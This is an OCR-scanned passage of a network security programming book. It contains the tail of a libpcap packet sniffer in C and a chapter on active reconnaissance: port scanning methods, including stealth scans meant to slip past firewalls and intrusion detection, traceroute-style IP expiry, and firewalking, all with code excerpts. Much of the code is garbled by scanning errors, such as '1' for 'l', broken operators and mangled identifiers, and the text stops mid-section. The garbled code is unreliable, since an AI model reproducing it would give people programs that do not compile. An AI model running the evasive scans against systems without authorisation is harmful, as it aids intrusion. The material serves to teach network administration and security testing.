  {
       fprintf(stderr, "scoop_init() failed: %s n", errbuf);
       exit(EXIT_FAILURE);
  }
  
  printf("<ctrl-c>to quit \n");
  
  scoop (vp);
  scoop_destroy(vp);
  
  return (EXIT_SUCCESS);
  }
  
  struct scoop_pack *
  scoop_init(char *device, u_char flags, int snaplen, char *filter,
                 char *errbuf)
  {
            struct scoop_pack *vp;
            struct bpf_program filter_code;
            bpf_u_int32 local_net, netmask;
  
            /*
             * We want to catch the interrupt signal so we can inform the user
             * how many packets we captured before we exit.
             */
             if (catch_sig(SIGINT, cleanup) == -1)
             {
                 sprintf(errbuf, "can't catch SIGINT signal. \n");
                 return (NULL);
             }
  
             vp = malloc(sizeof (struct scoop_pack));
             if (vp == NULL)
             {
                 snprintf(errbuf, PCAP_ERRBUF_SIZE, strerror(errno));
                 return (NULL);
             }
  
             vp->flags = flags;
  
             /*
              * If device is NULL, that means the user did not specify one and
              * is leaving it up libpcap to find one.



              */
             if (device == NULL)
             {
                 device = pcap_lookupdev(errbuf);
                 if (device == NULL)
                 {
                     return (NULL);
                 }
             }
  
             if (snaplen == 0)
             {
                 snaplen = SNAPLEN;
             }
  
             /*
              * Open the packet capturing device with the following values:
              *
              * SNAPLEN: User defined or 20 C bytes
              * PROMISC: on
              * The interface needs to be in promiscuous mode to capture all
              * network traffic on the local-et.
              * TIMEOUT: 500 ms
              * A 500 ms timeout is probably fine for most networks. For
              * architectures that support it, you might want tune this value
              * depending on how much traffic you're seeing on the network.
              */
             vp->p = pcap_open_live(device, snaplen, PROMISC, TIMEOUT, errbuf);
             if (vp->p == NULL)
             {
                 return (NULL);
             }
  
             /*
              * Set the BPF filter.
              */
             if (pcap_lookupnet(device, -&local_net, &netmask, errbuf) == -1)
             {
                 scoop_destroy(vp);
                 return (NULL);
             }
             if (filter == NULL)
             {
                 /* use default filter: "arp :r icmp or udp or tcp" */
                 filter = FILTER;
             }
             if (pcap_compile(vp- p, &filter_code, filter, 1, netmask) == -1)
             {
                 /* pcap does not fill in the error code on pcap_compile */
                 snprintf(errbuf, PCAP_ERRBUF_SIZE,
                          "pcap_compile() failed: %s \n", pcap_geterr(vp->p));
                 scoop_destroy(vp);



                 return (NULL);
             }
             if (pcap_setfilter(vp->p, ifilter_code) == -1)
             {
                 /* pcap does not fill in the error code on pcap_compile */
                 snprintf (errbuf, PCAP_ERRBUF_SIZE,
                          "pcap_setfilter ) failed: %s \n", pcap_geterr(vp->p));
                 scoop_destroy(vp);
                 return (NULL);
             }
  
            /*
             * We need to rr.ake sure th.s is Ethernet. The DLTEN10MB specifies
             * standard 10M3 and higher Ethernet.
             */
             if (pcap_datalink(vp->p) != DLT_EM10MB)
             {
             sprintf (errbuf, "Vaccum only works with ethemet. n");
             scoop_destroy(vp);
             return (NULL);
          }
          return (vp);
  }
  
  
  void
  scoop_destroy(struct scoop_pack *vp)
  {
       if (vp)
       {
            if (vp->p)
            {
                pcap_close(vp->p);
            }
       }
  }
  
  
  int
  catch_sig(int signo, void (*handler)())
  {
       struct sigaction action;
  
       action.sa_handler = handler;
       sigemptyset (&action.sa_mask);
       action.sa_flags = 0;
  
       if (sigaction(signo, fcaction, NULL) == -1)
       {
           return (-1);
       }
       else



       {
           return (1);
       }
  }
  
  
  void
  scoop(struct scoop_pack *vp)
  {
       struct pcap_stat ps;
       /* loop until user hits ctrl-c at the command prompt */
       for (; loop; )
       {
            /*
             * pcap_next() gives us the next packet from pcap's internal
       * packet buffer.
       */
       vp->packet = (u_char *)pcap_next(vp- p, &vp->h);
       if vp->packet == NULL)
       {
            /*
             * We have to be careful here as pcap_next() can return
             * NULL if the timer expires with no data in the packet
             * buffer or under some special circumstances under linux.
             */
            continue;
       }
       else
       {
            /*
             * Pass the packet to the demultiplexing engine.
             */
            demultiplex(vp);
       }
  }
  /*
   * If we get here, the user hit ctrl-c at the command prompt and it's
   * time to dump the statistics.
   */
  if (pcap_stats(vp- p, &ps) == -1)
  {
       fprintf(stderr, "pcap_stats() failed: %s \n", pcap_geterr(vp- p));
  }
  else
  {
       /*
        * Remember that the ps statistics change slightly depending on
        * the underlying architecture. We gloss over that here.
        */
       printf("\nPackets received by libpcp:\t%6d\n"
                "Packets dropped by libpcap:\t%6d\n", ps.ps_recv,
                ps.ps_drop);



     }
  }
  
  void
  demultiplex(struct scoop_pack *vp)
  {
       int n;
  
       if (vp->flags & STREAMING_BITS)
       {
            /*
             * If the user specifies STREAMING_BI7S we'll just dump the
             * entire frame captured from the wire in hex and return. It
             * makes a pretty stream of data; useful to create "techy"
             * looking backgrounds you see in movies and T.V.
             */
            for (n = 0; n <vp->h.caplen; n++)
            {
                 fprintf(stderr, "%x", vp->packet[n]);
            }
            return;
        }
  
        /* begin regular processing of the frame */
  
        /*
         * Figure out which layer 2 protocol the frame belongs to and call
         * the corresponding decoding module. The protocol field of an
         * Ethernet II header is the 13th + 14th byte. This is an endian
         * independent way of extracting a big endian short from memory.
         * We extract the first byte and make it the big byte and then
         * extract the next byte and make it the small byte.
         */
        switch (vp->packet[12] << 0x08 | vp->packet[13])
        {
            case 0x0800:
                /* IPv4 */
                decode_ip(&vp->packet[14], vp->flags);
                break;
            case 0x0806:
                /* ARP */
                decode_arp(&vp->packet[14], vp->flags);
                break;
            default:
                /* We're not bothering with 802.3 or anything else */
                decode_unknown(&vp->packet[14], vp->flags);
                break;
        }
  
        if (vp->flags & PRINT_HEX)
        {
            /* hexdump the packet from IP header -> end */



            print_hex(&vp->packet[14], vp->h.caplen - 14);
        }
  }
  void
  decode_arp(u_char *packet, u_char flags)
  {
  
            printf("ARP: ");
  
            switch (packet[6] << 0x08) | packet[7])
            {
                 case 0x01:
            /* ARP request */
            printf("yO who's got %d.%d.%d.%d tell %d.%d.%d.%d n",
                                                         (packet[24] & 0xff),
                                                         (packet[25] & 0xff),
                                                         (packet[26] & 0xff),
                                                         (packet[27] & 0xff),
                                                         (packet[14] & 0xff),
                                                         (packet[15] & 0xff),
                                                         (packet[16] & 0xff),
                                                         (packet[17] & 0xff));
            break;
       case 0x02:
            /* ARP reply */
            printf("y0 %d.%d.%d.%d is at %x: %x:%x: %x: %x: %x n",
                                                         (packet[14] & 0xff),
                                                         (packet[15] & 0xff),
                                                         (packet[16] & 0xff),
                                                         (packet[17] & 0xff),
                                                         packet[8],
                                                         packet[9],
                                                         packet[10],
                                                         packet[11],
                                                         packet[12],
                                                         packet[13]);
            break;
       default:
            /* we're not interested in other ARP types */
            printf("-\n");
            break;
     }
  }
  
  void
  decode_ip(u_char *packet u_ch?n- flpgci
  {
            u_char ip_hl;
  
            printf("IP: ");
  
            /*



             * Print the source and destination IP addresses. The offset to
             * the first byte of the source IP address is 12 bytes in; the
             * destination address immediately follows.
             */
            printf("%d.%d.%d.%d - %d.%d.%d.%d ", (packet[12] & 0xff),
                                                 (packet[13] & 0xff),
                                                 (packet[14] & 0xff),
                                                 (packet[15] & 0xff),
                                                 (packet[16] & 0xff),
                                                 (packet[17] & 0xff),
                                                 (packet[18] & 0xff),
                                                 (packet[19] & 0xff));
  /* print the total packet length and IP id */
  printf("(%d) ", (packet[2] << 0x08) | packet[3]);
  printf("id: %d ", (packet [4] << 0x08) | packet[5]);
  
  /*
   * Pull out the header length from the first byte of the IPv4
   * header. This will allow us to step over the IP header and any
   * possible options that might be there (we're not interested in
   * them). Since we know the packet is big-endian, we know the
   * first byte is of the form: 'vvwllll'.
   *                    ^   ^
   *                    |   |- 4 bits header length
   *                    |---- 4 bits version
   */
  ip_hl = (packet[0] & OxOf) << 0x02;
  
  /*
   * Figure out which layer 3 protocol the packet is and call the
   * corresponding decoding module. The protocol field of an IPv4
   * header is the 9th byte in; to get there, we have to step over
   * the Ethernet header.
   */
  switch (packet[9])
  {
       case IPPROTO_TCP:
            decode_tcp(&packet[ip_hl], flags);
            break;
       case IPPROTO_UDP:
            decode_udp(&packet[ip_hl], flags);
            break;
       case IPPROTO_ICMP:
            decode_icmp (&packet [ip_hl], flags);
            break;
       default:
            decode_unknown(&packet[ip_hl], flags);
            break;
       }
  }
  
  void



  decode_tcp(u_char *packet, u_char flags)
  {
       printf("TCP: ");
  
       /* print the source and destination ports */
       printf("%d -> %d ", (packet[0] << 0x08) | packet[1],
                 (packet[2] << 0x08) | packet[3]);
       /* print the control flags (14th byte into the TCP header). */
       /* this handy code snippet based on ngrep jonk */
       printf("%s%s%s%s%s%s n",
                      (packet[13] & 0x01) ? "F" : "", /* FIN flag */
                      (packet[13] & 0x02) ? "S" : "", /* SYN flag */
                      (packet[13] & 0x04) ? "R" : "", /* RST flag */
                      (packet[13] & 0x08) ? "P" : "", /* PSH flag */
                      (packet[13] & 0x10) ? "A" : "", /* ACK flag */
                      (packet[13] & 0x20) ? "U" "");  /* URG flag */
  }
  
  void
  decode_udp(u_char *packet, u_char flags)
  {
            printf("UDP: ");
            /* print the source and destination ports */
            printf("%d -> %d n", (packet[0] << 0x08) | packet[1],
                                 (packet[2] << 0x08) | packet[3]);
  }
  void
  decode_icmp(u_char *packet, u_char flags)
  {
            printf("ICMP: ");
            /* print the ICMP type */
            printf("%s ", icmp_type[packet[0]]);
  
            /* print the ICMP code, if applicable */
            switch (packet[0])
            {
                 case 3:
                      printf("%s n", icmp_code_unreach[packet[1]]);
                      break;
                 case 11:
                      printf("%s n", icmp_code_redirect[packet[1]]);
                      break;
                 case 12:
                      printf("%s n", icmp_code_exceed[packet[1]]);
                      break;
                 case 13:
                      printf("%s n", icmp_code_parameter[packet[1]]);
                      break;
                 default:
                      printf("\n");
            }
  }



  
  void
  decode_unknown(u_char *packet, u_char flags)
  {
      printf("unsupported protocol \n");
  }
  
  void
  print_hex(u_char *packet, u_short len)
  {
            int i, s_cnt;
            u_short *p;
  
            p     = (u_short *)packet;
            s_cnt = len / sizeof(u_short);
  
            for (i = 0; -s_cnt = 0; i++)
            {
  
                 if ((!(i % 8)))
                 {
                      if (i != 0)
                      {
                          printf("\n");
                      }
                      printf("%02x\t", (i * 2));
                 }
                 printf("%04x ", ntohs(*(p++)));
            }
            if (len & 1)
            {
                 if ((!(i % 8)))
                 {
                     printf("\n%02x\t", (i * 2));
                 }
                 printf("%02x ", *(u_char *)p);
            }
            printf("\n");
  }
  
  void
  cleanup(int signo)
  {
            loop = 0;
            printf("Interrupt signal caught…\n");
  }
  void
  usage(char *name)
  {
      printf("usage %s [options] [\"pcap filter\"]\n"
                                "-h\t\tthis blurb you see right here\n"
                                "-i device\tspecify a device\n"



                                "-S\t\tstreaming packet dump (useless)\n"
                                "-s snaplen\tset the snapshot length\n"
                                "-x\t\tprint payload data in hex\n", name);
  }
  
  
  /* EOF */

 



 

Chapter 9: Active Reconnaissance Techniques

One drawback of passive reconnaissance is that it does not enable the user to specify a request to an entity in
order to elicit a specific response. The user must take whatever information is at hand, be it pertinent,
relevant, or otherwise. This chapter shows how you can use active reconnaissance techniques to get much
more specific information in a timely manner. We discuss a pair of popular techniques: port scanning and IP
expiry.

Port Scanning

Ports are transport layer (TCP and UDP) connection points numbered from 0-65,535, where applications talk
to each other across a network. A port is "open" when an application is listening on that port number;
otherwise, it is "closed." Well-known network-enabled applications listen on well-known ports. For example,
HTTP listens on TCP port number 80 while DNS listens on UDP port number 53. Port scanning is the act of
connecting to successive numbers of ports on a destination host (target) with the intent of determining port
status (and optionally, if the port is open, to determine what application is listening).

You can use port scanning for a wide variety of applications, including network mapping, service discovery,
and security scanning. The network administrator uses the port scanning technique to determine what
network-aware applications are running on the network. The security consultant uses the port scanning
technique to find potential security issues and violations. You build the port scanning technique by using the
libpcap and libnet components, seen earlier in Chapters 2 and 3.

Note The port space of 0-65,535 actually breaks down into three ranges: the well-known ports” (0-1023),
the registered ports (1024-49,151), and the dynamic/private ports (49,152-65,535).

The moderately astute reader will note that DNS actually uses both UDP and TCP as a transport, depending
on circumstances beyond our scope. If you are curious, read RFC 1035.

Port Scanning Considerations

While the technique of port scanning is cut and dry, several mitigating considerations are involved when
determining the mechanics of how to implement the scan. They widely vary and depend on several factors,
which we discuss next.

Protocol

First and foremost, you need to make a decision about which protocol to scan. Different applications,
depending on their requirements, are built on top of different transport protocols. For example, e-mail and
Web servers are TCP-based applications because they require assured delivery and proper sequencing of
data. DNS queries, in contrast, are mostly UDP-based—favoring speed over reliability. The protocol choice
largely affects the mechanics of the scan, as we will see next.

Detection and Filtering

Detection is more of a consideration for security practitioners. For example, during the execution of a typical
network penetration test consulting engagement, security consultants need to enumerate applications across
a series of hosts. Often, it is within the scope of the engagement to attempt to determine the level of
awareness, preparedness, and vigilance of the client's information technology (IT) staff. As such, attempting
to evade or test the effectiveness of network intrusion detection systems and network firewalls is an issue,



and you might employ stealth methods of port scanning.

Time and Bandwidth

Time and bandwidth issues come into play when either there is a large set of hosts to be scanned or network
bandwidth is limited. If the set of hosts is large, bandwidth permitting, a parallel scan multiplexed over multiple
generator hosts might be employed. If the bandwidth is limited, perhaps only a subset of "interesting" ports
should be scanned.

Port Scanning Mechanics

Depending on some of these concerns, one or more of the following methods should be employed. There
are numerous published methods for traditional port scans, each with their own benefits and drawbacks.

Full-Open

The full-open TCP port scan, also referred to as a TCP connect scan (we will see why next), was the first
widely used TCP port scanning method. The scanning host makes a TCP connection to the target on each
port to be scanned. If the port is open, the TCP three-way handshake and four-way connection tear-down
procedures execute. If the port is closed, the exchange consists of a much simpler two-packet exchange.
Figure 9.1 illustrates both scenarios.

Figure 9.1: Full-open TCP port scan.

Full-open TCP port scans are among the easiest to codify. Most every modern operating system exports a
simple interface for the application programmer to establish TCP connections to remote hosts. For example,
OpenBSD (and almost every other modern operating system these days) supports the socket interface. A few
simple high-level system calls are exposed, and the entire work of building and maintaining the TCP
connection is the responsibility of the OS kernel. The following excerpt of code shows how to use the socket
interface to implement a full-open TCP port scan.

First, we declare our local variables and set up our socket address structure with the proper address family
(in this case, AF_INET or the IP protocol suite and the IP address of the target that we will scan):

     int fd, n, c;
     struct sockaddr_in addr;
     u_short port_list[]= (22, 23, 25, 80, 6000, 0);

     addr.sin_family ,= AF_INET;
     addr.sin_addr.s_addr= 0x200a8c0; /* 192.168.0.2 in network byte order */

The port scanning loop itself is as follows. Individual port numbers are placed in the socket structure, with the
connection process then being called repeatedly:

     for (n = 0; port_list[n] != 0; n++)
     {



          addr.sin_port = htons(port_list[n]);

We issue a socket() system call to set up the local endpoint of the TCP connection, which returns a file

descriptor referencing the client's end of the session:

     fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     if (fd == -1)
     {
         /* error */
     }

A connect() system call is issued to start a TCP session. If the port is open, the system call succeeds and
returns 0. If the port is closed, the system call fails and returns -1.

     c = connect(fd, (struct sockaddr *)&addr, sizeof (addr));
     if (c == -1)
     {
          /* error */
     }
     else if (c == 0)
     {
          printf("port %d open n", port_list[n]);
     }
     else
     {
          printf("port %d closed\n", port_list[n]);
     }

Because we are responsible users of finite system resources and are done with this socket, we close it down:

     close(fd);
}

Ident

The Identification Protocol (Ident) as specified in RFC 1413 provides a means to determine the identity of a
user of a particular TCP connection. Given a TCP port number pair, Ident returns a character string that
identifies the owner of that connection on the server's system. In order to execute an Ident scan, the scanning
host needs to start with a full-open scan, and the target host needs to be running Ident (on TCP port 113).
When the scanning host makes the full-open TCP connection to the target host and finds an open port, it
then makes a connection to the Ident server and queries the username. This process enables the scanning
host to build a list of applications and their owners that are running on the target.

FTP Bounce

FTP bounce port scans, based off the FTP bounce attack, take advantage of the fact that FTP servers
support a proxy feature enabling them to open connections to arbitrary hosts on arbitrary ports. These scans
are also based off full-open TCP scans and afford the scanning host obfuscation of the source of the scan



and potential access to filtered hosts. The source of the scan is obfuscated because it is "bounced" through
the FTP server, and a direct connection between the scanning host and the target is never created. FTP
bounce scans also might give the scanning host access to hosts that are not normally reachable because the
FTP server itself might have unfettered access to surrounding hosts (in other words, from behind a filtering
firewall). The FTP bounce scan appears in Figure 9.2.

Figure 9.2: FTP bounce prot scan.

Half-Open

Also called a "SYN scan," a half-open scan completes only the first part of the TCP three-way handshake by
sending out only one packet. The scanning host sends a SYN to a port and waits for a response. If a
SYN|ACK is received, the port is open. If an RST is received, the port is closed. This scanning can be a bit
"quieter" than full-open scanning because the TCP layer on the scanned host never sees a full connection
and therefore has nothing to log.

It should be noted that most half-open scans will result in a side-effect packet from the operating system if the
port is found to be open. When the port is open on the target host, it will send back a SYN|ACK in response to
the scanning machine's SYN. The scanning application will make note of this open port and then move on.
However, the operating system also receives a copy of the SYN | ACK to whatever port the scanning
application specified in the SYN packet. Since the operating system doesn't have any state for this connection
(it didn't initiate the connection), it will send out an RST to the target host. The only way to obviate this is with
prohibitive filtering or with a kernel patch.

Some literature refers to half-open scans as stealth scans, but these days this name is a misnomer. It might
have been true when this method was first discovered, but it is hardly the case these days because most
contemporary firewalls and NIDS can detect and act on half-open scans. A half-open port scan appears in
Figure 9.3.



Figure 9.3: Half-open TCP port scan.

Writing code for a half-open scan is a bit more involved than a full-open scan, because the application
programmer has to construct and send the SYN packet and then capture and process the SYN|ACK or RST
packet. Fortunately, components such as libpcap and libnet make this process considerably easier. The
sample code at the end of this chapter implements half-open TCP port scanning.

Parallel

When there is a large list of IP addresses to be scanned and bandwidth and detection are not issues, full-
open and half-open TCP port scans can be implemented in parallel. Parallel port scans can considerably
increase the area of coverage with respect to time.

UDP

UDP is a stateless protocol and has no intrinsic connection establishment procedure to misuse (as with TCP).
Applications using UDP as a transport simply send properly crafted UDP packets across the network and
hope that they make it there intact. Responses to arbitrary ports are application specific. As such, a UDP port-
scanning tool cannot look for a specific packet to determine open port status; instead, in order to enumerate
open UDP ports, the sense of scanning is reversed. The scanning host looks for explicitly closed ports and
flags the rest as "open." The scanning host sends out an empty UDP datagram to the target and waits for a
response. If an ICMP port unreachable packet is received, the port is assumed to be closed. If no response is
received, it is thought that the application on that port attempted to process the invalid packet, resulting in it
dropping the packet and sending no response (although technically, the response is undefined). At that point,
the port is considered open; however, this situation does not take into account lost packets, filtering firewalls,
or RFC 1812-compliant hosts. UDP scanning is a best-effort service. A UDP port scan appears in Figure 9.4.

Figure 9.4: UDP port scan.

You can write UDP scanning programs by using either the operating system native socket interface or
components such as libpcap and libnet. Using the operating system native primitives can be a bit onerous
due to the fact that the application programmer has to deal with two separate protocols (UDP and ICMP) and
their associated operating system-dependent primitives. The sample code at the end of this chapter
implements UDP port scanning via the component model.

Stealth

Stealth scans cover a few different methods that attempt to bypass filtering firewalls and logging NIDS to
scan ports. Most of them take advantage of quirks or ambiguities in protocol specifications, RFCs, and
protocol stacks. This situation results because all possible behaviors are not explicitly specified. Results vary
across different operating systems. Examples of stealth scans include the following.



FIN

FIN scans send out a TCP packet with the FIN flag set to a port; if that port is closed, it usually sends out an
RST packet. If the port is open, it usually ignores the packet. This situation prompts the FIN scanning host to
set a timeout akin to UDP port scanning and to look for the ports that do not respond. The sample code at the
end of the chapter implements FIN port scanning.

XMAS

XMAS scans are identical to FIN scans except that they use a TCP packet with the URG|ACK|PUSH control
flags set. The sample code at the end of the chapter implements XMAS port scanning.

NULL

NULL scans are identical to FIN scans except that they use a TCP packet with no control flags set.

Fragmented IF

Fragmented IP scans, which you can use with any of these TCP or UDP scans, break down the packets into
tiny IP fragments in an attempt to squeeze them past filtering firewalls and NIDS. The fragments themselves
are small enough so that the TCP or UDP header information will not fit in the first fragment. The idea is that
some stateless filtering and monitoring devices that filter on Layer 3 information would not be capable of
applying their filters to the initial fragment and enabling all of the fragments to pass by unmolested. Most
stateful devices, however, will reassemble fragmented IP datagrams before applying filtering information-
rendering this scanning technique ineffective. A fragmented IP port scan appears in Figure 9.5.

Figure 9.5: Fragmented port scan.

 



 

IP Expiry

IP expiry it a network mapping technique operating at the IP layer that is used to map IP forwarding devices
(routers) en route to a particular destination host. The magic of IP expiry occurs at the IP layer, revolving
around methodical manipulation of the time to live (TTL) field of the IP header. The technique is extremely
useful for network and security administrators alike to determine the paths of routers between two machines.
The IP expiry technique is built by using the libpcap and libnet components seen earlier in Chapters 2 and 3 .

Van Jacobson originally documented the IP expiry technique in 1988 and used it to trace the path that IP
packets traversed going to a particular destination host. The technique works by sending arbitrary Layer 4
packets to a destination host with an IP TTL of 1 and then monotonically incrementing the TTL field after each
response. The IP TTL field limits the lifetime of packets transmitted across the Internet and is decremented by
each forwarding device (router). If the TTL field reaches zero before the destination host is reached, the router
drops the offending packet and transmits an ICMP TTL exceeded in transit error message to the original host,
informing the operating system of the packet's timeout. This action enables the original host to know at which
router the packet expired. By starting the TTL field at 1 and successively incrementing the value with each
transmission, routers between two given hosts can be enumerated (provided that there is not any prohibitive
filtering or any severe packet loss). When the packet reaches its destination host, the host should return a final
packet (termed a terminal packet ) to the original host, letting it know that the scan has ended. A four-router
hop sample execution of the IP expiry technique appears in Figure 9.6 .

Figure 9.6: IP expiry.

Initially, the first IP datagram is sent with a TTL of 1. Upon receiving the datagram, the first hop router 10.0.0.1
figures out that the packet is not destined for itself and decrements the TTL field in eager anticipation to
forward the packet to the next router. Because this situation would result in a TTL of 0, however, the router
cannot forward the datagram and instead drops it and sends an ICMP TTL expired in transit message to
10.0.0.20, reporting the error condition. The next datagram is sent with a TTL of 2, which again reaches the
10.0.01 router (with its TTL decremented). But this time, the packet makes it to the 10.0.1.1 router before the
TTL reaches 0. The 10.0.1.1 router then drops the packet and sends the ICMP error message. This process
continues until the IP datagram reaches 10.0.3.20 (with a TTL of 5—the destination host). Depending on what
Layer 4 protocol was employed, the terminal packet will vary as described in the next section.

Protocol-Specific Terminal Packet Semantics



Like port scanning, the IP expiry technique requires the user to choose a Layer 4 protocol with which to scan.
The choice of Layer 4 protocol affects the terminal packet and might also affect the mechanics of the scan if
intermediate routers filter based on Layer 4 information (read more about this subject as follows). You should
choose the Layer 4 protocol based on the general assumptions of network topology and to a lesser extent the
situation of the destination host. For example, if the destination host sits behind a restrictive firewall, UDP
packets to arbitrary ports might be filtered out.

UDP

The original implementation of Traceroute uses UDP packets to a presumably unused high-numbered port.
Assuming that this port is unused on the destination host, the terminal packet is an ICMP port-unreachable
message. If the port happens to be open, the response is undefined but generally no terminal packet is sent.
This behavior is the same as we saw in the section on UDP port scanning.

ICMP

Many Windows-based implementations of Traceroute use ICMP ECHO packets as their Layer 4 protocol. The
ICMP ECHO protocol is a simple one to use in this case because it has a universally defined terminal
response packet when the destination host is reached: an ICMP ECHO reply. The following code excerpt
shows how to perform an ICMP ECHO-based IP expiry scan.

First, we declare our small army of local variables and kick things off by initializing libnet and libpcap. We will
use libnet's raw socket interface, a 60-byte snapshot length, and a 500 ms timeout for libpcap:

          pcap_t *p;
          libnet_t *1;
          time_t start;
          u_char *packet;
          int c, ttl, done;
          char *device= "fxp0";
          struct pcap_pkthdr ph;
          libnet_ptag_t icmp, ip;
          u_long src_ip= 0x1400000a;      /* 10.0.0.20 in network byte order */
          u_long dst_ip= 0xl403000a;      /* 10.0.3.20 in network byte order */
          struct libnet_icmpv4_hdr *icmp_h;
          struct libnet_ipv4_hdr *ip_h, *oip_h;
          char errbuf[LIBNET_ERRBUF_SIZE];

          1= libnet_init (LIBNET_RAW4, NULL, errbuf);
          if (1 == NULL)
          {
               /* error */
          }

          p= pcap_open_live(device, 60, 0, 500, errbuf);
          if (p == NULL)
          {
               /* error */
          }

Here, we initialize our scan. We will send one ICMP packet per iteration through the loop, and our condition for
termination is when we have hit our destination and get a terminal packet or 30 router hops, whichever comes



first:

     for (done = icmp = ip = 0, ttl = 1; ttl < 31 && ! xdone; ttl++)
     {

The ICMP ECHO header is built first, with our special ID number and a sequence number that increases with
the IP TTL:

          icmp = libnet_build_icmpv4_echo(
          ICMP_ECHO,                          /* type */
          0,                                  /* code */
          0,                                  /* checksum */
          242,                                /* id */
          ttl,                                /* sequence */
          NULL,                               /* payload */ 0,
          0,                                  /* payload size */
          1,                                  /* libnet context */
          icmp);                              /* libnet id */
     if (icmp == -1)
     {
          /* error */
     }

Next, we build the IPv4 header. Note that the TTL value starts at one and bumps up by one every time through
the loop. Also note the special IP_ID value, because we will refer back to this value later. This code causes
our packets to spiral outward from the scanning host, expiring one hop at a time:

          ip= libnet_build_ipv4(
               LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H,    /* length */
               0,                                       /* TOS */
               242,                                     /* TF ID */
               0,                                       /* IP Frag */
               ttl,                                     /* TTL */
               IPPROTO_ICMP,                            /* protocol */
               0,                                       /* checksum */
               src_ip,                                  /* src ip */
               dst_ip,                                  /* dst ip */     
               NULL,                                    /* payload */
               0,                                       /* payload size */
               1,                                       /* libnet context */
               ip);                                     /* libnet id */
          if (ip == -1)
          {
               /* error */
          }

The completed ICMP packet is written out:



          c= libnet_write(l);
          if (c == -1)
          {
               /* error */
          }
          fprintf(stderr, "Hop %02d: ", ttl);

Next, we descend into our reading loop where we wait for a response. If we do not get anything interesting
inside our two-second timeout, we forget about this hop and return to the top of the loop and send the next
packet (unless we are at 30 hops):

     /* read loop */
     for (start= time(NULL); (time(NULL) - start) < 2; )
     {

Peel a packet from libpcap and cast an IPv4 header past the link layer header (which we assume to be
Ethernet for simplicity). This casting enables us to dereference all of the header fields with ease:

          packet= (u_char *)pcap_next(p, &ph);
          if (packet == NULL)
          {
               continue;
          }
          /* assume ethernet here for simplicity */
          ip_h= (struct libnet_ipv4_hdr *)(packet + 14);

First things first: We only want ICMP packets. If this packet is not ICMP, we do not want it:

     if (ip_h->ip_p == IPPROTO_ICMP)
     {

As earlier, cast an ICMP header pointer over the ICMP portion of the packet:

     icmp_h= (struct libnet_icmpv4_hdr *)(packet + 34);

Check the ICMP type and code to see whether this message is a TTL expired-in-transit message:

          /* expired in transit */
          if (icmp_h->icmp_type == ICMP_TIMXCEED &&
              icmp_h->icmp_code == ICMP_TIMXCEED_INTRANS)
          {

Cast another IP header into the ICMP packet's payload to verify whether or not this TTL that expired in transit is
from our previously sent ICMP packet.

We can perform this task because ICMP includes the IP header (and the first eight bytes of payload) in every



error message that it sends. Armed with this knowledge, we check the IP_ID of the packet that caused the
ICMP error message against our value of 242. If the IP_ID matches, we assume that it is ours. While it is
possible for another application to have caused an error with the same IP_ID, it is relatively unlikely:

          oip_h= (struct libnet_ipv4_hdr *) (packet + 42);
          if (oip_h->ip_id == htons(242))
          {
               fprintf(stderr, "%s n",
                    libnet_addr2name4(ip_h->ip_src.s_addr, 0));
               break;
          }
     }

Check to see whether this message is an ICMP ECHO reply message. If it is, check to see whether it is a
response to our ICMP ECHO packet. If it is, this packet is our terminal packet and we are done with the scan:

               /* terminal response */
               if (icmp_h->icmp_type == ICMP_ECHOREPLY)
               {
                    if (icmp_h->icmp_id == 242 && icmp_h->icmp_seq == ttl)
                    {
                        fprintf(stderr, "%s n",
                            libnet_addr2name4 (ip_h->ip_src.s_addr, 0));
                        done= 1;
                        break;
                    }   
               }
          }
     }
}

TCP

While implemented less frequently, TCP also functions as a Layer 4 IP expiry scanning protocol. The terminal
packet depends on whether or not the TCP port that it was used to scan with is open or closed. If the port is
open, the terminal packet will be a TCP SYN|ACK; if the port is closed, the terminal packet will be a TCP RST.
This behavior is the same that we saw in the section on TCP half-open port scanning.
Note 

The most well-known implementation of the IP expiry technique is Traceroute. The original Van Jacobson
version, as shown earlier in the book, uses UDP as its transport protocol and sends out three probes per TTL
setting (known as a round) to a default maximum of 30 hops.

Firewalk

Firewalking is an implementation of the IP expiry technique that enables the user to determine Layer 4 access
control lists (ACLs) on Layer 3 packet-forwarding devices such as routers and firewalls (for the purpose of this
discussion, we refer to these devices generically as gateways). Firewalking works by sending out a TCP or
UDP packet with an IP TIL of one greater than the gateway to be scanned. If the packet is accepted by the



gateway's ACL, the gateway forwards the packet to the next hop. At this point, the TIL expires and elicits an
ICMP 1TL expired in transit message (destined for the original host). If the packet is disallowed by (violates)
the gateway's ACL, the gateway drops the packet and no response will be returned The scan will
subsequently time out.

Firewalking requires the user to specify two hosts: the target gateway to be scanned and the "metric," which
guides the scan. The metric does not need to be accessible to the scanning host, and it can be either a
gateway or a host; it is just important for the metric to be physically located downstream from the target
gateway because it is used as the destination address for the scan. The firewalking host breakdown appears in
Figure 9.7 .

Figure 9.7: Firewalking host breakdown.

Phase One: Hopcount Ramping

In order to "firewalk" through the target gateway, you must determine the number of hops between the source
and the target gateway. Because the hop distance of the target gateway is not known a priori, phase one of the
operation—referred to as the hopcount ramping phase—is required. A standard Traceroute-style IP expiry
scan is initiated towards the metric host with the intent of finding how many hops away the target host is from
the scanning host. Phase one of firewalking appears in Figure 9.8 .

Figure 9.8: Firewalking phase one: hopcount ramping.

An IP expiry scan starts as in Figure 9.7 .This time, however, when the scanning host receives an ICMP TTL
expired in transit from its target gateway, 10.0.2.1, it stops and binds the scan at one hop beyond the target
gateway. Only now can the rest of the firewalking process proceed.

Phase Two: Firewalking (Scanning)

Once you reach the target gateway and bind the scan, firewalk scanning can commence. A series of TCP or
UDP packets (referred to as probes) are sent from the scanning host to the metric with the bound IP TIL. If a
given probe is accepted through the target's ACL, the scanning host receives an ICMP TTL expired in transit
from the binding host. If the scanning host receives no response after the timeout expires, we assume that the
probe violated the ACL on the target and was dropped.

A packet passing the target's ACL appears in Figure 9.9 .



Figure 9.9: Firewalking phase two: a packet passes the ACL

A TCP probe to port 22 is sent with an IP TTL of 4 to the metric. The target accepts and forwards the probe
and then expires at the binding host. The binding host returns an ICMP TTL expired in transit message to the
scanning host, letting it know that the probe successfully made it through the target.

Figure 9.10 shows a packet that violated the target's ACL.

Figure 9.10: Firewalking phase two: a packet violates the ACL.

Again, a TCP probe sends to the metric with an IP TTL of 4, but this time the destination port is 23. The TCP
probe matches a deny filter rule on the target and is immediately and silently dropped. Because the probe
never makes it to the binding host, no expiry message is returned to the scanning host. The timeout expires on
the scanning host, and the port is logged as being filtered.

A Creeping Walk

